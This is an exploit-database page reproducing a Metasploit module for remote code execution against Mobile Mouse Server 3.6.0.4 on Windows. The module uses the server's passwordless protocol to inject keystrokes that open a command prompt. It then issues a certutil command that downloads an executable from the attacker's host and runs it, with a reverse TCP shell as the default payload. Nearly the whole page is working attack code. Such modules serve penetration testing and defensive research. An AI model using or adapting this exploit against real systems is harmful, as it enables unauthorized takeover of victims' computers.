Lucene search
K

Mobile Mouse 3.6.0.4 Remote Code Execution Exploit

🗓️ 28 Sep 2022 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 2037 Views

Mobile Mouse 3.6.0.4 Remote Code Executio

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Exploit::Remote::Tcp
  include Exploit::EXE # generate_payload_exe
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Mobile Mouse RCE',
        'Description' => %q{
          This module utilizes the Mobile Mouse Server by RPA Technologies, Inc protocol
          to deploy a payload and run it from the server.  This module will only deploy
          a payload if the server is set without a password (default).
          Tested against 3.6.0.4, current at the time of module writing
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'CHOKRI HAMMEDI' # edb
        ],
        'References' => [
          [ 'EDB', '51010' ],
          [ 'URL', 'https://mobilemouse.com/' ],
        ],
        'Arch' => [ ARCH_X64, ARCH_X86 ],
        'Platform' => 'win',
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Targets' => [
          ['default', {}],
        ],
        'Payload' => {
          'BadChars' => "\x04\x1E"
        },
        'DefaultOptions' => {
          'PAYLOAD' => 'windows/shell/reverse_tcp'
        },
        'DisclosureDate' => '2022-09-20',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK] # typing on screen
        }
      )
    )
    register_options(
      [
        OptPort.new('RPORT', [true, 'Port Mobile Mouse runs on', 9099]),
        OptInt.new('SLEEP', [true, 'How long to sleep between commands', 3]),
        OptString.new('PATH', [true, 'Where to stage payload for pull method', 'c:\\Windows\\Temp\\']),
        OptString.new('CLIENTNAME', [false, 'Name of client, this shows up in the logs', '']),
      ]
    )
  end

  def path
    return datastore['PATH'] if datastore['PATH'].end_with? '\\'

    "#{datastore['PATH']}\\"
  end

  def connect_command
    connect_command = 'CONNECT' # 434F4E4E454354
    connect_command << "\x1E\x1E"
    connect_command << @client_name
    connect_command << "\x1E"
    connect_command << 'iPhone' # 6950686F6E65
    connect_command << "\x1E"
    # the next 2,2 may be a version number of some sort
    connect_command << '2' # 32
    connect_command << "\x1E"
    connect_command << '2' # 32
    connect_command << "\x1E\x04"
    sock.put(connect_command)
    sleep(datastore['SLEEP'])
  end

  def open_command_prompt
    open_command_prompt = 'KEY' # 4b4559
    open_command_prompt << "\x1E"
    open_command_prompt << '114' # 313134 windows key?
    open_command_prompt << "\x1E"
    open_command_prompt << 'r' # 72
    open_command_prompt << "\x1E"
    open_command_prompt << 'OPT' # 4f5054
    open_command_prompt << "\x04"
    sock.put(open_command_prompt)
    sleep(datastore['SLEEP'])
  end

  def script_content(payload)
    script_content = 'KEY' # 4B4559
    script_content << "\x1E"
    script_content << '100' # 313030
    script_content << "\x1E"
    script_content << payload
    script_content << "\x1E\x04"
    script_content << 'KEY' # 4B4559
    script_content << "\x1E"
    script_content << '-1' # 2d31
    script_content << "\x1E"
    script_content << 'ENTER' # 454e544552
    script_content << "\x1E\x04"
    sock.put(script_content)
    sleep(datastore['SLEEP'])
  end

  def on_request_uri(cli, _req)
    p = generate_payload_exe
    send_response(cli, p)
    print_good("Payload request received, sending #{p.length} bytes of payload for staging")
  end

  def check
    if datastore['CLIENTNAME'].blank?
      @client_name = Rex::Text.rand_text_alphanumeric(5..10).to_s
      print_status("Client name set to: #{@client_name}")
    else
      @client_name = datastore['CLIENTNAME']
    end

    connect

    print_status('Connecting')
    connect_command
    res = sock.get_once
    if res.nil?
      return CheckCode::Unknown('No response received from target')
    end

    disconnect

    res = res.split("\x1E")
    if res[1] == 'NO'
      return CheckCode::Safe("Unable to connect, server response: #{res[4]}")
    end

    CheckCode::Appears("Connected to hostname #{res[3]} with MAC address #{res[5]}")
  end

  def exploit
    if datastore['CLIENTNAME'].blank?
      @client_name = Rex::Text.rand_text_alphanumeric(5..10).to_s
      print_status("Client name set to: #{@client_name}")
    else
      @client_name = datastore['CLIENTNAME']
    end

    connect

    print_status('Connecting')
    connect_command
    res = sock.get_once
    if res.nil?
      fail_with(Failure::Disconnected, 'No response received from target')
    end

    res = res.split("\x1E")
    if res[1] == 'NO'
      fail_with(Failure::NoAccess, "Unable to connect, server response: #{res[4]}")
    end
    vprint_good("Connected to hostname #{res[3]} with MAC address #{res[5]}")

    print_status('Opening Command Prompt')
    open_command_prompt
    # for whatever reason, if we don't read here the server doesn't want to keep playing with us, so read but throw away
    sock.get_once

    print_status('Sending stager')
    filename = Rex::Text.rand_text_alphanumeric(rand(8..17)) + '.exe'
    register_file_for_cleanup("#{path}#{filename}")
    # I attempted to put this all in one, stage, run, exit, but it was never successful, so we'll keep it in 2
    stager = "certutil.exe -urlcache -f http://#{datastore['lhost']}:#{datastore['SRVPORT']}/ #{path}#{filename}"
    start_service('Path' => '/') # start webserver
    script_content(stager)

    print_status('Opening Command Prompt again')
    open_command_prompt
    print_status('Executing payload')
    script_content("#{path}#{filename} && exit")

    handler
    disconnect
    sleep(datastore['SLEEP'] * 2) # give time for it to do its thing before we revert
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation